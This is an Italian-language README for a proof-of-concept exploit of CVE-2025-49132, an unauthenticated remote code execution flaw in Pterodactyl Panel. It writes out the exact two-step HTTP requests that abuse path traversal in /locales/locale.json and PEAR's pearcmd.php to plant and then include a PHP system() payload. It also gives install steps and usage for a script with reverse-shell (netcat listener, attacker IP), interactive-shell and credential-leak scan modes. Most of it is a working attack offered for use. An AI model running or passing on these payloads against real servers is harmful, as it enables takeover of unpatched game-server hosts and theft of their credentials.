
CVE-2025-49132_PHP_PEAR_METHOD
Questo repository contiene un proof-of-concept (PoC) per CVE-2025-49132, una vulnerabilità critica di esecuzione remota di codice non autenticata in Pterodactyl Panel versioni precedenti alla 1.11.11.
Pterodactyl Panel è un pannello di gestione di server di gioco gratuito e open-source basato su PHP. La vulnerabilità consente a un attaccante non autenticato di eseguire comandi arbitrari sul sistema target sfruttando la gestione impropria dell’endpoint /locales/locale.json combinata con la funzionalità pearcmd.php di PHP PEAR.
PHP PEAR (PHP Extension and Application Repository) è un framework e un sistema di distribuzione per componenti PHP riutilizzabili. Fornisce uno strumento da riga di comando (pearcmd.php) che può essere utilizzato per gestire i pacchetti PEAR.
Il file pearcmd.php elabora comandi tramite parametri URL e, se combinato con path traversal, può essere sfruttato per:
La vulnerabilità esiste perché:
locale in /locales/locale.json consente path traversal senza una corretta validazionepearcmd.php accetta il comando +config-create che può scrivere file PHP arbitrariUn attaccante può:
config-create per scrivere codice PHP malevolo in /tmpL’exploit funziona in due fasi:
GET /locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&<?=system('id')?>+/tmp/payload.php HTTP/1.1
Host: target.com
Spiegazione:
+config-create+/ - Invoca la funzionalità di creazione configurazione di PEARlocale=../../../../../../usr/share/php/PEAR - Path traversal verso la directory PEARnamespace=pearcmd - Punta al file pearcmd.php<?=system('id')?>+/tmp/payload.php - Payload PHP e file di destinazioneGET /locales/locale.json?locale=../../../../../../tmp&namespace=payload HTTP/1.1
Host: target.com
Spiegazione:
locale=../../../../../../tmp - Path traversal verso /tmpnamespace=payload - Include ed esegue payload.phpL’exploit richiede l’invio di caratteri speciali (<, >, ?, =) nell’URL senza codificarli. Se questi caratteri vengono codificati in URL:
<?=system('id')?> diventa %3C%3F%3Dsystem%28%27id%27%29%3F%3Egraph TD
A[Attaccante] -->|1. Richiesta Path Traversal| B[locale.json]
B -->|2. Path traversal verso PEAR| C[pearcmd.php]
C -->|3. Comando config-create| D[Scrive Payload PHP]
D -->|4. Crea File| E[payload.php]
E -->|5. File Creato| F[Filesystem del Server]
A -->|6. Richiesta di Esecuzione| G[locale.json]
G -->|7. Path traversal verso tmp| E
E -->|8. Inclusione ed Esecuzione| H[Interprete PHP]
H -->|9. Comando di Sistema| I[Comando Shell]
I -->|10. Output del Comando| A
style A fill:#ff6b6b
style B fill:#4ecdc4
style C fill:#ffe66d
style E fill:#ff6b6b
style H fill:#ff6b6b
style I fill:#ff6b6b
sequenceDiagram
participant Attaccante
participant Server Web
participant PEAR
participant Filesystem
participant Motore PHP
Attaccante->>Server Web: GET locale.json con config-create
Server Web->>PEAR: Path traversal verso pearcmd
PEAR->>Filesystem: Crea payload.php
Filesystem-->>Attaccante: 200 OK
Attaccante->>Server Web: GET locale.json con namespace payload
Server Web->>Filesystem: Path traversal verso payload.php
Filesystem->>Motore PHP: Includi payload
Motore PHP->>Motore PHP: Esegui comando di sistema
Motore PHP-->>Attaccante: Output comando RCE
requestsgit clone https://github.com/xffsec/CVE-2025-49132_PEAR_METHOD.git
cd CVE-2025-49132_PEAR_METHOD
pip3 install -r requirements.txt
Oppure manualmente:
pip3 install requests
python3 poc.py -H <host_target> -c "<comando>"
# Sulla macchina attaccante, avvia listener
nc -lvnp 4444
# Esegui exploit con reverse shell
python3 poc.py -H <host_target> -r <tua_ip>:4444
python3 poc.py -H <host_target> --shell
python3 poc.py -H <host_target> --fuzz
python3 poc.py -H <host_target> --scan
Controlla la presenza di CVE-2025-49132 tramite perdite di configurazione (credenziali database, chiave app).
python3 poc.py -H <host_target> -c "whoami" -p "/opt/pear"
python3 poc.py -H <host_target> -c "id" -v
Mostra dettagli avanzati (creazione payload, percorso PEAR, stato esecuzione).
usage: poc.py [-h] -H HOST [-c COMMAND] [-r REVERSE_SHELL] [--shell] [--fuzz] [--scan]
[-p PEAR_PATH] [-e ENDPOINT] [--ssl] [--timeout TIMEOUT] [-v]